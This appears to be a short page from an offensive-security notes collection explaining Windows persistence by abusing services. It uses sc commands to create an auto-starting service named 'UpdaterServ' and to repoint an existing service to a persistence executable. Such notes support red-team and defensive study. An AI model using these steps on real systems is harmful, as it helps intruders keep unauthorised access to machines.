Services
We can abuse services for persistence, for this example, we will create a new service called "UpdaterServ":
sc create UpdaterServ binpath= "c:\binary" start= auto
We can see If it worked with:
sc query UpdaterServ
We can finally start the service with:
sc start UpdaterServ
Note: You will get an error if your persistence executable does not contain the necessary functions to function as a windows service. For more information on how to write a windows service:
You can also modify an existing service to point to your persistence executable like so:
sc stop UpdaterServ
sc config UpdaterServ binpath= "c:\binary"
sc start UpdaterServ
Last updated
Was this helpful?